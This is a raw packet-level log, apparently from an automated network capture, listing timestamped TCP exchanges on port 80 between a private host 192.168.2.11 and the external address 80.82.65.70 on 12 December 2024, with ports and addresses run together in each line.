                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.208378077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.208507061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.208534956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.208667040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.209119081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.209254026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.209258080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.209295988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.209928989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.210004091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.210026026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.210063934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.210688114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.210777998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.210823059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.211483002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.211559057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.211613894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.211678982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.212225914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.212265968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.212348938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.212392092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.213182926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.213243961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.213291883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.213865995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.213999033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.214107990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.214693069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.214814901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.214862108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.215476990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.215631008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.215718985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.216222048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.216265917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.216295958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.216424942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.217003107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.217044115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.217096090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.272181988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.272259951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.272298098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.272370100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.272452116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.272567034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.272639036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.272687912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.273251057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.273386002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.273439884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.274032116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.275558949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.308134079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.308249950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.308439016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.308506012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.308670998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.308733940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.309279919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.309367895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.309400082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.310039997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.310102940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.310112953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.310148954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.310856104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.310930014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.310981035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.311661005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.311764002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.311820030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.312441111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.312489033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.312519073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.313149929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.313184977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.313318968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.313370943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.313962936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.314150095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.314197063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.314804077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.315063000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.315124035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.315663099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.315748930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.315778017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.316550016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.316626072 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.316629887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.316673040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.317173004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.317224979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.317305088 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.317346096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.317893982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.318006039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.318013906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.318067074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.318658113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.318720102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.318753958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.318804026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.319740057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.319869041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.319921017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.320228100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.320331097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.320389032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.321022987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.321146965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.321202993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.321789980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.321904898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.321969032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.322767973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.322776079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.322824001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.386831999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.386955023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.386996031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.387046099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.387134075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.387211084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.387331009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.387953043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.388138056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.388191938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.388741016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.388799906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.388925076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.389611959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.389676094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.389796972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.389976025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.390286922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.390491962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.390574932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.391064882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.391199112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.391249895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.391860962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.391968966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.391997099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.392045975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.392694950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.392704010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.392770052 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.393476963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.393552065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.393589973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.394243002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.394299030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.394324064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.394366980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.395040989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.395061970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.395150900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.395791054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.395963907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.396013975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.396599054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.396655083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.396676064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.397456884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.397502899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.397531033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.397557974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.398173094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.398214102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.398271084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.398921967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.398978949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.399032116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.399687052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.399832964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.399848938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.399874926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.400443077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.400496960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.400554895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.400608063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.410885096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:08.530539989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:10.688679934 CET4985180192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:10.808549881 CET804985180.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:10.808715105 CET4985180192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:10.812932014 CET4985180192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:10.932728052 CET804985180.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146337986 CET804985180.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146400928 CET804985180.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146436930 CET804985180.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146472931 CET804985180.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146517992 CET4985180192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146560907 CET4985180192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:14.557378054 CET4985180192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:14.557881117 CET4985880192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:14.677558899 CET804985880.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:14.677634001 CET4985880192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:14.677684069 CET804985180.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:14.677759886 CET4985180192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:16.637008905 CET4986480192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:16.756810904 CET804986480.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:16.759705067 CET4986480192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:16.759825945 CET4986480192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:16.879491091 CET804986480.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:18.094893932 CET804986480.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:18.095570087 CET4986480192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.155759096 CET4986480192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.156333923 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.275958061 CET804986480.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.275993109 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.276030064 CET4986480192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.276084900 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.276339054 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.395988941 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766161919 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766278982 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766302109 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766335011 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766345978 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766369104 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766396046 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766442060 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766453981 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766465902 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766489983 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766505003 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766608000 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766629934 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766643047 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766648054 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766666889 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766678095 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.886158943 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.886250973 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.886255026 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.886302948 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.890269995 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.890331984 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.958043098 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.958082914 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.958112001 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.958137035 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.962163925 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.962229967 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.963761091 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.963810921 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.963850975 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.963890076 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.972217083 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.972301960 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.972357035 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.980509996 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.980571032 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.980621099 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.980752945 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.988950014 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.989018917 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.989044905 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.989044905 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.997307062 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.997369051 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.997396946 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.997396946 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.005707026 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.005763054 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.005774975 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.005820036 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.014106035 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.014169931 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.014172077 CET804987580.82.65.70192.168.2.11
